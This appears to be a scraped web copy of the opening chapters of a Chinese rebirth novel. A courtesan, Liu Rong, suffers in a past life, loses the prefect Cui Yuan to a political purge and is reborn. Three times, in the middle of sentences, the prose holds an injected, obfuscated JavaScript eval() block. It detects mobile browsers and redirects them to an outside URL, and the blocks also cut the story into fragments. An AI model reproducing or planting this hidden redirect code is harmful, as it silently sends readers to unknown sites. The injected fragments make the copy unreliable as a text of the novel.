《从女奴到女帝（重生）》 1. 楔子 坐上龙椅前，柳茸有过七个男人。 五位朝臣，两位天子，其中一位，被她鸩杀。 不，说是自尽也不为过。 那人预见般接过她递来的鸩酒，饮了下去，笑比血先一步映入柳茸的眼帘。 有无人告诉过他，他的唇其实很好看。 唇珠圆润，唇角锋而不戾，每每欢好时，凸出的唇珠游走在她青丝、肤肌间，总能带来入骨的颤栗。 “为何要饮……”柳茸问。 “为何不饮？”他淤黑的血自唇角蜿蜒，滴落胸前的龙袍，“我当天子本就是……为你铺路啊。” 是啊，若是没有自己，他不会当天子。 ——无心御座远游四方，赵祁的人生本该如此，不巧，爱上身为先帝后妃的自己。 “比起朕，大梁更需要你，阿茸。” 她听见枕边人最后一次唤她的名字，看见中毒的天子望向自己，清亮的双眸如茶汤底，带着宽慰的笑意。 “朕说过的，你将会是整个大梁的泽世明珠，一代贤君，名垂丹青，” “有梁一朝，你，歆香永继。” 在留下一句不知所谓的谶语后，赵祁断气了。 大梁第五任天子崩，身后，山河易主，孤月高悬。 柳茸没有哭，许久才感到有润液浇湿眼尾，抹下来看，不是泪，是血。 是世上最爱她的人误溅的血。 那个世上最爱她的人，方才死在了她的酒下。 她鸩杀他，只为夺过他的天下。 御座宝贵，柳茸擦净血，当年扬鞭策马的风华少年又入梦而来，梦醒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763434|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后却只剩自己坐在高台，独享江山。 迟来的涟漪夺眶涌出，彻底打湿眼睫。 可故人早已化作一抔黄土，在山的那头。 南山风舒柳青，是赵祁生前为自身挑的好去处。 数年前彼此依偎的一个浓夜，他曾揽着她，在兰膏暖帐里说过一段她至今无法参悟的话。 说：若他死了，就请将他葬于南山，千年之后，自有有缘人开启那座坟墓，那个人会误入远古的皇都，见到于丹青上遥想多年的仙子。 不知怎的，她猛然忆起赵祁初见自己时脱口而出的称呼：仙子。 仙子么…… 柳茸笑。 自己实在不是什么不入凡尘的仙子，也不是一生顺遂的名门贵女。 毕竟算上前世，她嫁过人，九次。 2. 前世 上一世被卖给贾府时，柳茸的肚子已有数月。 贾府的小公子对她痴迷异常，什么好吃的好玩的都会偷偷翻墙去给这位家伎，但胳膊拧不过大腿，终究是娶了千金贵女为妻。 一对璧人。 而柳茸，不过是贾侯爷与同僚酒桌打赌嬴来的物件，一吊酒钱的价，推杯换盏间，大家畅饮欢笑，她就被转手抵送给了贾家。 贾侯爷闲来无事时，会命一众舞伎跳舞，谁跳得好了放谁脱贱籍。 舞伎们使出浑身解数，白日跳到日落，双脚磨破了皮，血沁透布鞋，贾侯爷才堪堪风雅地拊扇叫停，笑骂，“贱。” “为一点饵就放下颜面，你们，生来伎子的命。” 脱籍的承诺自然不作数。 即便如此，下一次贾侯爷再发言，依然有无数舞伎争先列阵。 穷窭、贱民，活下去实在太难、太难了。 朱门大户的绣楼于她们而言，从来不是乐土。 当夜，贾府小公子逃婚投水，被救了回来，贾侯爷将所有怒火发泄到柳茸身上。 翌日，她滑胎了。 贾侯爷神色比谁都焦急，命人延请名医治她，末了重重交代，“给我治好了，否则传出去说我贾家苛待人。” 医师除去她的衣衫，当即怔愣。衣衫下，是大大小小红紫不一的梅花斑，柳茸隐约听见有人说脏。 这种病，寻常良家女子不会染。 可惜，柳茸不是。良家女子四个字和她不沾边，最初的最初，她只是某任州官从勾栏院赎来的伎子，一个穷苦人家的女儿。 没娘，没爹，有的是一张要吃饭的嘴和一副好皮囊，只要有吃的，她什么都肯干。 人是救回来了，贾侯爷气极，竟是个有病的家伎！ 他大骂她脏，一瓢烫茶泼向她的衣裳，桌上茶则水盅被袖子□□倒地上，摔得粉碎。 她是脏的，脏到骨子里，从小路过的人都在嫌弃她脏，可柳茸不觉得，自己不脏，她不觉得自己脏就行。 脏的不该是把病染给她的男人们吗？为何被骂的是自己？ 柳茸不懂。 她不懂，明明已熬到了乱世终结，为何阿娘说的太平盛世里她们依旧饿着肚子，做着又苦又累的营生。 每每路过贾府朱红的大门，柳茸都不禁畅想，想着若是有日咬牙横心硬闯出府，会怎样？ 留在侯府也终逃不过嚼干春华后被弃至大街，逃离度日如年的樊笼，任由官兵追捕，做个亡命逃奴，左右一死。 可是，她没有力气，她吃不饱啊…… 只能日日望着屋檐角的日影一点一点沉寂下去。 是日，贾府又来客，听闻是本州刺史，大世家出身。 贾侯爷在府上一早做了接风宴，遣家伎接客，并大方将美人一字排开，说有看对眼的恣意带走，礼物微薄，不成敬意。 那人定定站着，一身白袍，似张展开的宣纸。细看，“宣纸”腰间佩着把乌剑，活像一块乌木镇纸，带檀香那种。 来人的眼古井无波，神容敛静，柳茸替他倒酒，故意翻洒了酒水，露出衣袖口的鞭伤。 “婢子招待不周，大人莫怪！”贾侯爷呵令从人将柳茸拖下去，拉扯间一道声音响起。 “她。”崔元浑不在意衣上酒渍，“我要她了。” “这……这不妥吧？” “侯爷不肯割爱？” 贾侯爷讪讪笑着，想到柳茸身上那些斑，再一想到崔元的身份，额间沁出汗津。 “好生伺候，若让他发现你有恶疾……”贾侯爷臃肥的手悄悄狠拧了把柳茸手腕，一拍她的背，顺力推她至崔元身侧，面上依然是和煦爽朗的笑。 柳茸低头颔首，默然走至那人身旁，他腰间别着的佩剑微不可察地偏了偏，谨慎避开她。 如此，她被崔元带了回去。 上马回程前，崔元想到什么似的回首，“在下还有一事提醒侯爷。” “刺史请言。” “擅杀家奴，按律当笞。我不认免死金牌，”他双眸疏冷，口吻几分警告，“落魄侯府最好没有此事。” 贾侯爷脸色微变，白马车扬尘驶远。 崔元的官邸与贾府很不一样，几乎不点灯，不宴舞，不开筵，柳茸没有同伴，偶有三两个修剪花圃的老奴抬眼瞟下她，又匆匆凝心于手头的事中。 而官邸的主人自把她带回家后便再无表态，每日不是在廨中就是在书阁，仿佛忘了府内还有这么个家伎，直到柳茸爬上了他的床。 月夜，崔元如常就寝，灯火吹熄半晌，冰凉的触觉自被衾外缘蔓延到臂膀。 “公子……”柳茸像个顺杆爬的藤蔓，从被里缓缓发芽。 崔元一把连人带被衾裹住她，整个压在床板上，束缚住她进一步动作。 柳茸想挣扎，可对方心铁身也铁，眼里没有半点能催动的情欲，和勾栏院里她一勾手就丢了魂的恩客们不同，她的欲拒还迎头一遭在一个男人身上失效了。 “谁让你这么干的？”崔元不动如山。 夜寂了良久，他耐着性子与她对望，势要等一个答复。 “没有人，是我自己。”柳茸开了口。这是她谋生的营生，她也想有别的本事，奈何只擅此道，她想搏一搏。 “理由。” “我……想活下去，活得更好。” “你是燕王派来的细作？” 柳茸摇首。 压在身上的力道更重了，“你究竟是何人？” 她察觉到男人的弦在紧绷着，也知道不交代个所以然来对方不会放自己走。 可她真的只是一介无权无势的贫女。 柳茸离家那年，阿娘才下葬三个月。 小小的人儿不懂什么叫入土为安，只以为阿娘贪睡。 阿爹说，阿娘是跟地母娘娘走了，地母娘娘家有数不清的米和肉，一年四季如春，有地母娘娘的照顾，阿娘再也不会饿、不会冷了。 柳茸问，她何时也能跟地母娘娘走？ 阿爹嗫嚅着没有答话，只说她太小了，地母娘娘不要她。 地母娘娘真过分，嫌弃阿茸。 柳茸垂头丧气踢着脚下枯叶，回到茅草堆的篷庐，阿爹烧水替她擦脚，而后吃一块佃主舍的橘柚，饱饱上*床。 没过几日，蝗虫来了，一夜之间高粱变废草，有人饿得吃蝗虫，毒死在了田里。 颗粒无收，阿爹一下倒欠佃主家三百石粮，主家不高兴了。 主家来的人和阿爹在门外争执，柳茸从门缝里偷，他们依稀吼着之前阿娘的病他们已借了主家许多药钱，如今人死粮也尽，是阿爹欠了主家的，要拿东西抵押。 门开了，阿爹将她护在身后，把他自己抵押了出去。主家的管家拍胸脯保证，只要阿爹肯听从安排，不动柳茸分毫。 阿爹被安排去当了渔户，每日回来得很晚，柳茸难过阿爹不能多陪自己，又窃喜无人管着白日贪玩的时辰能多些。 直到有日，晚霞中再没出现阿爹的身影。 柳茸哭着等啊等，饿得去要饭。 佃主家的千金正巧施粥，她要了一碗，拨楞了下稀疏的汤水，浮在水面的米有些眼熟，是阿爹去岁贡给佃主家的粮。 半碗粥还没落肚，街角一队家仆冲她奔来，嘴里嚷嚷着“就是她”，任凭她哭喊生拉硬拽拽上了车。 阿爹，那群人不讲信用。 她被拉到人市，家仆们笑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763435|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对她打趣，“你阿爹不要你了。” 不会的，阿爹不会不要她！ 柳茸把最后一个窝窝藏进怀里，想等见到阿爹后留给他吃。 窝窝被踩碎了，她也被卖了。鸨母挑走了她，从清倌人做起学秦琴。 是年柳茸六岁，拿不稳琴，鸨母将她的指腹死死摁在琴身，弦深深勒紧肉里，柳茸疼得落泪。 人为何要学会弄疼自己的本事？倘若她有阿娘就好了，阿娘会疼她，不让她学，阿娘在，定不会叫人欺辱她。 然而，如今的她没有阿娘，也没阿爹。 勾栏院女子的□□机会不轻易给的，给妓子□□又名梳弄，柳茸做了数年清倌人，鸨母终于等到了她能梳弄那日，让人将她装扮成新嫁娘，在院门点大蜡烛。 整个妓馆布置成洞房样式，一派欢喜洋洋。 有恩客一掷千金，买下当“新郎”的机会，梳弄了她一夜。 正式梳弄过后，即意味着可以挂牌接客了。 她运气好，第二位恩客便是一位巡官，也是他赎柳茸出勾栏院，许诺为柳茸销掉乐籍。 结果，就和许多年前一样，落在她身上的承诺永远不作数。 她从商伎变成了家伎，自一个火坑跳入另一个更灼身的火坑中，浮萍一般兜兜转转，在官官间半卖半送着。 这半生，柳茸从未受过属于贵女天命的照拂，勾栏院唯一教会她的吃饭技巧便是眼波婉转，她也只想在有限的辰光里往上爬、活下去，讨口饭吃。 她不止一次梦到，如若出身将门，她或许已长成一名巾帼女将；若生在王侯皇室，她能是某某公主；若生在簪缨世家，她可饱读诗书去当个女官。 但，什么都没有发生，醒来熹微一如既往照着，她也只是万千草芥之一。 崔元的目光凝在她脸上，找寻着撒谎的痕迹，最后彻底松开桎梏，点上一根甘甜的橘香，柳茸一夜好眠。 醒来中衣和裙带齐整，维持着昨夜睡前状态，未被解开。 崔元是从书房走出的，正沐在清晨的光里。 往后几日，二人沉默相对。崔元回府的时间愈发地少，柳茸独自望着天井雨落，终有一日心痒跟出了府。 崔府人少门禁松，她想见见堂堂刺史白日在做什么，跟到尽头，就见到了一名在田间陪老农犁地的父母官。 他一回眸，她险些摔进水田里。 “别下来！”崔元打着襻膊，白色裤腿上全是褐泥点子，“下面脏。” 他铺来柔韧的芦苇垫，垫住柳茸的榴花红裙，自己和老农谈着农时。 剥石榴的手停滞在果皮上，柳茸听得入神，那是她没接触过的知识，阿爹若在说不定会教她一二。 “小伙，不帮娘子剥石榴怎得行？”蓦地，老农拍拍崔元，一副过来人的恨铁不成钢，“长恁大不晓得疼人。” “阿翁，其实我是……”是他的家伎。 乐伎的籍契由各地官衙保管在册，严格来说她仍算他的家伎。 然而崔元似乎不打算纠正老农，看向柳茸的神情有几分拙涩，“你很想让人剥石榴？” “呔，笨死。”老农丢下一句评价走了，殊不知被自己说笨的小伙是能连夜写十篇《生民论》上表评议的本地刺史。 烈日当头，崔元继续下地，柳茸偶然抬手，一颗剥好的石榴悄无声息摆在手侧，硕粒凝香。 柳茸欲言又止追了上去。 “诶诶，看着！你家婆娘要摔下去了！”老农在道旁大喊。 一个青禾香的胸襟揽住她，也揽住她将要触及泥面的鞋尖，柳茸愣了片刻，触忌般化身滑溜的红鱼逃似的挣脱开。 “公子，”她抿了抿唇，“我身上，有疾。” 3. 前世 “我知道。”崔元在水田里，斗笠遮住脸，一眼都没抬。 “什么？”柳茸一怵，微微屏气。 惊愕也好疑惑也罢，她都不意外，偏偏都没有，崔元的反应如一碗水，平、准、静。 无由来的惧意如蚁爬。 他早已知晓，他竟不说。何时？如何暴露的？ 柳茸心如鼓擂。 一顶斗笠盖在她头上，遮去毒辣日光。 “先时见你并未提起，想来是你的症结，就没过问。” 身子在发痒。 “公子不害怕？” “你呢？”崔元的目光落在她肩头，本该是最无忧的桃李之年却身染恶疾，清瘦透骨，“害怕么？” 柳茸被问住。 怕么？ 不怕是假的。勾栏院里的女人身骨和前路一望到头，再红艳养人的头牌花期也只在转瞬，日子久了都被蹉跎得病气奄奄。 先是脓斑，后是牙齿、耳鼻，最后走着走着剥落一块肉。她见过尚未断气的花魁被鸨母活装入棺材，见过浑身脓疮的姊妹被蓬头散发扔出院，拍门声厉鬼索命般响彻一夜。 她怕得要命。 地母娘娘不要她，人间也不容她，她就像个找不到父母的孩童，哒哒踩着铃铛鞋颠簸。 隔了很久，崔元的声音才摇曳入耳。 “会医好的。”他的话似誓诺，风一吹，青禾香细碎散过柳茸鬓边耳畔。 与禾香一同送来的还有每日一碗药汤。 柳茸拧着眉心喝下，喝到见底崔元派来的家仆方肯离去。府内渐渐有了闲言碎语，都传喝的是避子汤。 何事用得到避子汤？仆役咋舌，看不出，一任两袖清风的崔元崔子白也有畜伎之好，男人么。 唯柳茸知晓，那不是避子汤。 但崔元似乎并不甚在意，整个菊月，他都在凉风里修棚收瓜，在田垄间与柳茸采花，偶尔停下，拍拍道边顽童的脑袋。 廨中公牍处理完，崔元会下田帮老农割稻。 他背着柴，手提镰刀，白衣被杂草钩破，杂草被他折成草螳螂，藏在掌心一本正经喊柳茸过来瞧。 有时崔元也命人将公文带到田里来，一边批阅一边理农活。 这个“人”往往是柳茸，往后全是她。 起初，她只负责研墨，后自荐枕席上手些誊写文书的小事，簪花小楷和银钩铁画的字叠在一起，桌面平添三分灵动。 寻常女子习字的不多，勾栏院却会教，尽管本意是为娱人，学得再好也无法同男子求取功名，但士人卖|身给天家，伎子卖|身给恩客，人居一世，终归土尘，谁又比谁高贵。 柳茸不觉得自己比人差，儿时她总是习字最刻苦的，戏折子、话本、词曲顺口拈来，直至亲眼窥见崔元腕侧漏出的半面公文。 生僻的字词，晦涩的典故，就连桌上的兵书也是勾栏院不曾教给女子的读物。 原来过往学至极致的知识也不过皮毛。 柳茸眸中的光酸楚地落下，又不舍地攀上兵书。 当日，她在书房多留了几刻。 后来若是送完案牍尚早，她便轻车熟路潜入书阁暗处，“勾引”一本兵书。 崔府的男主人回府了，似乎没朝这边看。 柳茸继续安心翻着《六韬》，仿佛一头闯进从未踏足的新天地。 ……原来文字的用处不止吟诗唱曲，文字可为剑杀人，亦可为药救人。 书架下的人逐渐沉沦，从书中抽离时，她才颇有感悟地合上扉页。 只是，感悟怎么如此粘腻？柳茸疑惑地起身扭头，瞬间呼吸一滞。 癸水漏了，供人坐阅的梯架一片血污。 擦不干净…… 制梯架的木名贵无比，她赔不起。 努力平复心境移开擦红的手帕后，柳茸望了眼书阁，无人，急忙回房换月事带。 待到拿上皂角粉再回书阁，梯架的血污无了，不知被谁清理过，梯台干净如初。 四下尘静，窗散漫开着，貌似是风吹来的青禾香。 是那个人。 崔元在灯下批着公文，面上情绪不显，听见她的脚步才略略抬眼。 “公子。”柳茸长身玉立的影子从屏风后走出。 “我没叫参汤。” “是我答谢公子的。” 他的眼神仅在她身上停留一瞬，接着转到卷宗上，有意避开来人想继续的话头。 “公子要饮吗？”柳茸调着汤勺，水滴声涟涟。 水声有些大了，崔元透过薄薄一层纸页看去，见她素手挑着小瓷勺，莹亮的汤水盛起，在唇心下吁吁细吹，唇上胭脂若有似无挨到汤面。 胭脂几乎要与汤面相融时，乌木剑鞘一定，抵住柳茸手腕。 “你平日喝药也这般慢吗？” 柳茸垂眸低笑，“给公子的汤，不敢轻待了。” 末了邀约般道：“公子，饮吗？” 参汤一饮而尽参汤。崔元喉头的苦意还未消退，柳茸已坐到距离更近的蒲团上。 灯影下的背端地更直了，他不看她。 “公子可去过勾栏院？”柳茸忽而好奇。 崔元不答话。 “那你可要当心了。我们啊……为了向上爬什么话都说得出口，三言两语便把公子拐了去。” 她企图勾住他的下颌，没成想手指伸到半空那人回身一握，反客为主，握住她放肆的指尖。 指尖被不轻不重的力道克制地压下，缓缓降离他的下颌。 “她们拐不了我。” 察觉到失仪，崔元松开手，“你想要什么？” 这次换柳茸定住他的手腕，道具不是剑鞘，是本书，兵书《六韬》。 “适才在书阁发现此书为蠹虫啃噬，想为公子补书，有缺句不懂，恳请公子指点一二。” 兵书，鲜少有人看，崔元沉默。 “你真想要我指点？” 柳茸颔首，许久才见他松口叹气。 很快她便知晓他为何叹气，白马车载着她随崔元出城，穿过阡陌荒田，眼前尽是大片与州府岁月静好截然不同的焦土。 叛军南下抢掠城池，稻谷被铁蹄踏成草屑，道边扎营的流民盛着米汤，崔元虽退敌成功，安置所有生民依然需要时间。 兵书尽头是御敌，御敌尽头于崔元而言是为生民活。 柳茸试图将兵书和现实照应，照无可照。现实不是白纸，千变万化，兵书里的术法要在现实顺利推行不是易事。 今日，崔元亲自来监管义仓放粮，旁人他不放心，前任刺史手下出过不少趁机贪墨之事，发到生民手上的粮常混入石子。 领粮的人排着队上前，有老妪，有瘸腿的女人，有人衣物勉强裹身，有拖家带口，也有伶仃一人。 柳茸唇瓣轻动，很多年前阿爹不见的夏日里，她也曾是他们的一员。 自打入了红粉花柳巷便快忘掉的回忆与此刻的场景重叠，柳茸下意识地想回避。 饥饿感从多年前涌来，胃海翻腾。 她转身，一块僵硬的物什塞入掌中。 失去右臂的女童用仅剩的手将一块窝窝放进她手里。 是给自己的？ “她想你喂她。”喝粥的流民出声解释，显然见怪不怪。 女童期待地瞧着柳茸。 “你爹娘呢？”柳茸蹲下身。 她瞪圆了眼思索一会儿，似懂非懂指着地面，“地母？娘娘？” 地母娘娘，很久没听过了。 柳茸噗嗤笑了，笑中闪过泪花，“对，是地母娘娘。” 地母娘娘身下收留着无人要的灵魂，独独把她们遗留在了世上。 女童还是比自己命里有福的，柳茸想。没有被卖，没有沦落枇杷门巷，崔元派人将双亲皆殁的幼儿接去育婴堂。 暮野四合，卷地风沙涤荡掉禾香，白马车载着二人回到尚且安宁的崔府。 柳茸已是累极，在车上了小憩一会儿。 醒来，肩颈枕着一叠细软白袍，一本注解好的兵书送在她的鬓侧，犹带墨香。 从那以后，柳茸搭了个施粥铺，她何尝不知这点粥杯水车薪，但自己能做的也只有这点活。 人头攒动，道谢连连，柳茸腆然地以笑付之，微末的欣喜慢慢发芽，可随之而来的愧愤如当头棒喝，她心头一紧，大梦初醒般摇头。 自己竟然会感到欣喜？分明不是为了受人称赞才施粥的，缘何会感到开心？这和当年施粥给自己的主家千金有何异？ 她当过流民，深知他们是最不喜欢接受别人怜悯的，只是迫于生存放□□面，如今，她也变成了小时候讨厌的施粥者，她不该…… 可是自己正因受过苦，故而观他人之苦难如同切肤之痛才施的粥啊。 道不清的情愫在心中交战，柳茸定神强令目光聚焦盛粥的勺子。 她一方暗斥自己恶毒、伪善，背叛了同在苦海的沦落人，一方又忍不住想当个为人撑伞者。 想了一夜，长夜阑珊，身上的病痛更重，晨起，柳茸按时熬粥，铺周已围满等粥的人。 他们的眼神化作一双双泥潭里挣扎出的手拉住想要撤身的她，就这样吊着一口气，日复一日，柳茸按时施粥。 战火的余震随时间减弱，流民越来越少，待崔元将四面八方的流民彻底安顿好后，柳茸病倒了。 高热模糊间，隐约有一只颀长如玉的手在为自己拧水。 她感到混沌的温暖，一如徜徉春水里，忍不住拉住眼前的手，让它稳稳贴面别再乱跑。 那只手没有无情抽回，容忍着她。 半梦半醒间，她又回到了儿时的蓬庐，阿爹在替佃主耕田，阿娘抱着她坐在牛背上唱山歌，满山野花里，她听着歌沉沉睡去。 耳边若有谁在叹息，而后真的传来了歌声。 低沉、缱绻，不是山歌，歌谣支离破碎划过柳茸脑海。 她摩挲着“母亲”的手，。 可那双手是冰冷的，骨节分明的。 不是“母亲”的手，她无暇思考，彻底陷入梦乡。 痊愈是三日后的事，柳茸刚好，崔元却病了。 柳茸想去查探病情，崔元门闩紧闭，白衣墨发的身影抵着海月窗。 “会传染给你的，回去罢。” 他清咳不止，不肯见她，隔日择了个由头入朝觐见去了，说是奏疏叛军收缴情况。 关于朝局的事，柳茸为乐伎侍酒时在那些醉醺醺的男人身上听过一耳。 先皇宾天，五子夺位，朝中人人自危，各处选边站。 也有头犟的几边不靠，比如崔元崔子白，狂言到说出自己侍的非君非王，是民。 言官的唾沫星子雪花般砸来，恨不得把他喷死，崔元置之不理，该做事做事，该种地种地，得闲和家丁一同收麦子。 身为博陵崔氏本家子弟，说出如此大逆不道的话也仅是象征性降了几阶，由京官调为上州刺史，人人都说若无意外过几年便官复原职。 柳茸有些担忧，到那时她能随他入京吗？亦或是被留下？ 如同被养在外宅的姊妹们。 与大多数面朝黄土背朝天的大梁子民一样，她也没到过这个国家的心脏，京城的繁华与他们无关。 但那里是崔元长大的地方。 贾侯的家就已是极尽奢靡，真正的博陵崔氏府邸该是何等辉煌？会不会有很多家伎？ 光是贾府走一遭已剥掉自己一层皮，换不来一个脱籍的契机，若到了历经三朝的大世家呢？又要付出多少才能抢到机遇？ 柳茸裹紧石榴裙，誓要将兵书的每个字看进眼里。 她要好好温书，好好养身，快些寻到脱贱籍的法子。 崔元固然是善人，然她不敢轻付。经年累月的失望，她已不再想将希望依托于任何男人身上。 何况自己与他并未介入彼此的过去，也非总角之交，于柳茸看来，如此情缘说好也好，说脆也脆，是叶子上的晨露，宿晴即散。 千里之外，崔元信至，明令是给柳茸的。 “给我？”她展开信，笔墨是崔刺史一贯的精简： “晨起推门，雪晴云淡，折梅一枝，寄予阿茸。” 板板正正一个人，纸上倒是写些俏皮话。 一株红梅倏然从信札掉落，第二页是黄梅，最末页是白梅，花心鲜妍，似春光照眼中少女含笑，枝桠不规整地划破折页。 十多日后，又一封信寄到崔府，这次寄得近，地点是离州府不远的驿站。 崔元要回来了。 可惜柳茸没看，主人不在家，几个厨娘壮胆拉着她喝春酒，醉着。 是以崔元一入府便看见躺卧蔷薇架上的一截榴裙。 她深深睡着，手中的酒盅不知何时倒了，洒出的酒将花浇得鲜嫩，醉点春容。 慵懒的“榴花”总算醒了，面上涨起吸饱水的潮红。 低头一视，腿悬空着，有人抱着她走。 崔元没有放人下来的意思，柳茸便也接着装睡，手不老实地玩起那人身后头发。 她的肌肤一天比一天丰，食欲也一天比一天大。 有次她回眸，捉到灯火里，崔元在偷偷望她。 灯火里，神容看不真切。 药汤似乎在见效，自己快好了，对吧？ 然而变数永远不期而至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763436|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 夜里，火光四起，鞋履纷乱，有人撞倒九枝灯，焰火煌煌，然过路人皆无暇取水灭火，人影慌张奔逃。 柳茸被吵醒，屋外一片狼藉，几个厨娘架住她就跑。 暗夜昏光中一对兵马围住崔府，开门，仆僮不见，崔元也不在。 崔府半烧焦的乌黑寂寥。 官兵寻到崔元时，他正坐在田间望天，手里是最后一把稻苗。 五子夺位分出了胜负，齐王不知用了何法联手太尉兵变，其他四子被料理了个干净。剩下的事便是清缴残部，顺应者生，错站者死。 不幸中的万幸，崔元从不站队。万幸中的不幸，博陵崔氏选主了，选错了。 站队是错，不站队更是错上加错。 百年风光，累世家业，翻覆也不过旦夕之间。 昔日贵胄之子，一朝跌重，长安遣刑官连夜提审。 少年模样的刑官转着削骨刀，见崔元囚服下点点延伸的梅花斑，了然哂笑。 “我道崔大人当真六根清净，原也是做样子。” 此种病花街柳巷最易得，一瞧便知。 “听闻崔大人府中狎妓，看来传言不虚。” “敝人没有。” “那这病难不成是自己染的。”少年啃了口削骨刀削的苹果，见崔元无端笑了，脸色讶异，如见趣事，“你还真自己染了？” “你成过亲吗？”崔元抬起眸。 “忙于国是，无心儿女情长。” 崔元闻言笑了，微微下勾囚衣，露出锁骨上更多骇人的红斑。 “此乃吾妻在吾身上所留之物。” “我是她的夫。”他神情得意，甘之如饴。 尽管他们不曾有过一夜夫妻之实。 “崔子白，你疯了。” 判刑定在三日后，这三日里，按照惯例要逼罪臣向皇帝磕头谢恩，谢皇恩浩荡。 六次了，刑官第六次逼问崔元究竟有无话要说，牙关紧咬的人终于点头。 录事提笔准备开记。 崔元：“恨天不降大梁以仁君，竟让鸡犬升天。” 一声暴呵，他的头再次被按入污水。 死亡威胁不了他，但梦能。 他又梦见满树绚火的榴花。 树下有人穿着茜红榴裙，施施然向自己走来，褪掉彼此裹身的衣冠，诱他，教他，用他。榴花被风呼呼吹落，湿热地打在他脸上，也盖住了她。 睁开眼细看，脸上的并非榴花，是柳茸的手。 监狱外跪着长长一条为刺史请命的队伍，老农抱着狱卒裤脚摊开手中稻谷，柳茸混在探监的人群里，见到倒在狱栏边的他。 “不是叫秋姨她们带你逃了吗？”崔元虚弱地喘息，“为何要回来？” 望见他身上的梅花斑，卧病在床时“母亲”的手、陌生的歌谣皆在今日有了答案。 柳茸道：“我害了你。” “无意间染的，你不必道歉。”他恻然笑着，“该道歉的人是我……对不起。” 对不起，擅自冒领夫婿之名。 “其实，你被赎出妓馆那一日，我就遇见你了。” 柳茸闻言一僵。 骨头硬直的人肯托出心事，说明死志已决。 “别说了……” “那日驾马经过，崔某萌生妄念，但你已许配他人，非礼勿言，一片狂心暗许，只得默观遥祝。” 崔元枕在她膝头，像只大雨中蜷歇的小兽，“那时我以为你找到了良人。” “我带你逃，崔元，我救你走！” 看守的狱卒是本地人，灾年受过崔元照拂，睁一只眼闭一只眼，全城百姓都在勉力配合，运人的牛车就在城门侧。 “本官无罪，本官不逃。” “你若不逃，全城百姓都会因此遭难。” 崔元有一瞬间的动容，俯仰间又再次摇头，“那便更不能牵连你们。” “走罢，都走。去城南，有人会接应你。”他走入铁窗下的阴影中。 柳茸默了，忽然福至心灵：“我们……从前是不是见过？” 记不起在哪见过这张脸了，亦或许是记错了。 崔元不说话，柳茸等着他的回复，三日后，她不用等了。 第三日，判决书下达，命押崔元至长安与崔氏老少受刑。 牢狱再开时，只见崔元跌坐狱中，额头沁血，生息全无，墙壁上竖流一片殷红。 他不允许任何人冒险救他，死了就无人有行动之机了。 三日前那份疑问才冒出头，即成了无解的谜题，和请奏脱除柳茸乐籍的文书一起，被死亡深埋。 酷暑一至，城中搜捕崔府“逃贼”的余韵未消，大饥席卷州县。 继任的新官无心农事，崔元上任后整治的菜人市死灰复燃，昔日禾田俨然炼狱。 王孙公子争锥刀利，帝位轮转，世家兴覆，黎民依旧困苦。 此地的百姓方从余乱中解脱，难道要再一次重陷苦海吗？ 不能看他们入火坑——柳茸从泥地里爬起，裙摆滴洒着泥泞走向人市的笼子。 手起刀落，木门绳索断裂，秀长的身影放走将做成菜人的孩童。 她的力量太小，太小了，只有一把刀，一只手，微乎其微。 为何她永远都在见人受苦？为何连自己都自身难保？ 破庙佛龛前，柳茸冥冥地合十双掌，祈愿来世若真随佛下生，不要活得如今生糊涂微渺。 究竟人要如何才能更好地活？究竟要付出多少才能到达更好的世代？ 任何一本兵书上都未有交代，回以柳茸的只有呜呜风号与溃烂的肉身。 饥荒封城，药源截断多时，今岁的暑气来得格外猛。 无药，无粮，无水，她的旧伤开始发炎。 鱼口又肿又痛，下|身涨痛难忍，禁不住的抓挠过后，一块肉剥落在地。 恍惚半刻，柳茸自说自话地道了几声“不怕”，冷静处理好一地狰狞。 不怕不怕，茸是草芽儿，烧不尽，吹不倒，任何苦痛都不怕。——耳畔响起阿娘的哄睡声。 她好像刚从磕磕绊绊的人生中拨开一点朦胧的光，就要谢幕了。 崔元死了，老农被吃了，自己的身体，也快撑不住了。 倒在日出前，柳茸看见米肉贩子从后方追来，可她已无精力再维系清醒。 地母娘娘在呼唤她。 朦胧曙色里，她真的听见地底飘上来的声音，一会是阿娘的摇篮曲，一会是阿爹在乡间土路上招手吆喝，一会是崔元的轻哼。 最后所有声音戛然静了，肉身的疼痛散去。 一切归于岑寂。 4. 重生 香尘杳杳霭霭，散入花楼窗棂。 陈塘渔火已落，荷风渐紧，青石板巷逼仄处，留春台点起迎客的红灯。 柳茸醉在花船栅栏里，手点着水面，身子忽然倾动，随手中碧簠摔了下去。 “你醉了。”一只手截住了她的腰。 